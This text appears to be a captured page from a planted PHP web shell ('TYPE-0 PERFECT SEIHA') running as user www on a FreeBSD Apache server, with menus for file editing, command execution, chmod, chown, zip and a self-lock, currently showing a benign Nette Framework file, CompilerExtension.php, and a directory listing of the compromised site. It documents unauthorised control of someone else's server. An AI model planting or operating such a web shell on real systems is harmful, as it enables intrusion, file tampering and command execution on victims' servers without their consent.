TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
download
app
Nette
Config
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/download/app/Nette/Config/CompilerExtension.php
<?php /** * This file is part of the Nette Framework (http://nette.org) * * Copyright (c) 2004 David Grudl (http://davidgrudl.com) * * For the full copyright and license information, please view * the file license.txt that was distributed with this source code. */ namespace Nette\Config; use Nette, Nette\DI\ContainerBuilder; /** * Configurator compiling extension. * * @author David Grudl * @property-read array $config * @property-read Nette\DI\ContainerBuilder $containerBuilder */ abstract class CompilerExtension extends Nette\Object { /** @var Compiler */ protected $compiler; /** @var string */ protected $name; public function setCompiler(Compiler $compiler, $name) { $this->compiler = $compiler; $this->name = $name; return $this; } /** * Returns extension configuration. * @param array default values. * @param bool perform %parameters% expansion? * @return array */ public function getConfig(array $defaults = NULL, $expand = TRUE) { $config = $this->compiler->getConfig(); $config = isset($config[$this->name]) ? $config[$this->name] : array(); unset($config['services'], $config['factories']); $config = Helpers::merge($config, $defaults); return $expand ? $this->compiler->getContainerBuilder()->expand($config) : $config; } /** * @return Nette\DI\ContainerBuilder */ public function getContainerBuilder() { return $this->compiler->getContainerBuilder(); } /** * Reads configuration from file. * @param string file name * @return array */ public function loadFromFile($file) { $loader = new Loader; $res = $loader->load($file); $container = $this->compiler->getContainerBuilder(); foreach ($loader->getDependencies() as $file) { $container->addDependency($file); } return $res; } /** * Prepend extension name to identifier or service name. * @param string * @return string */ public function prefix($id) { return substr_replace($id, $this->name . '.', substr($id, 0, 1) === '@' ? 1 : 0, 0); } /** * Processes configuration data. Intended to be overridden by descendant. * @return void */ public function loadConfiguration() { } /** * Adjusts DI container before is compiled to PHP class. Intended to be overridden by descendant. * @return void */ public function beforeCompile() { } /** * Adjusts DI container compiled to PHP class. Intended to be overridden by descendant. * @return void */ public function afterCompile(Nette\Utils\PhpGenerator\ClassType $class) { } }
Crotin
Name
Size
Permissions
Modified
User/Group
Adapters
-
0755
2015-08-08 18:27:53
Unknown/Unknown
Compiler.php
10423
0644
2015-08-08 18:27:46
Unknown/Unknown
CompilerExtension.php
2559
0644
2015-08-08 18:27:46
Unknown/Unknown
Extensions
-
0755
2015-08-08 18:27:52
Unknown/Unknown
Helpers.php
1832
0644
2015-08-08 18:27:46
Unknown/Unknown
Configurator.php
8269
0644
2015-08-08 18:27:46
Unknown/Unknown
Loader.php
3284
0644
2015-08-08 18:27:46
Unknown/Unknown
IAdapter.php
661
0644
2015-08-08 18:27:46
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin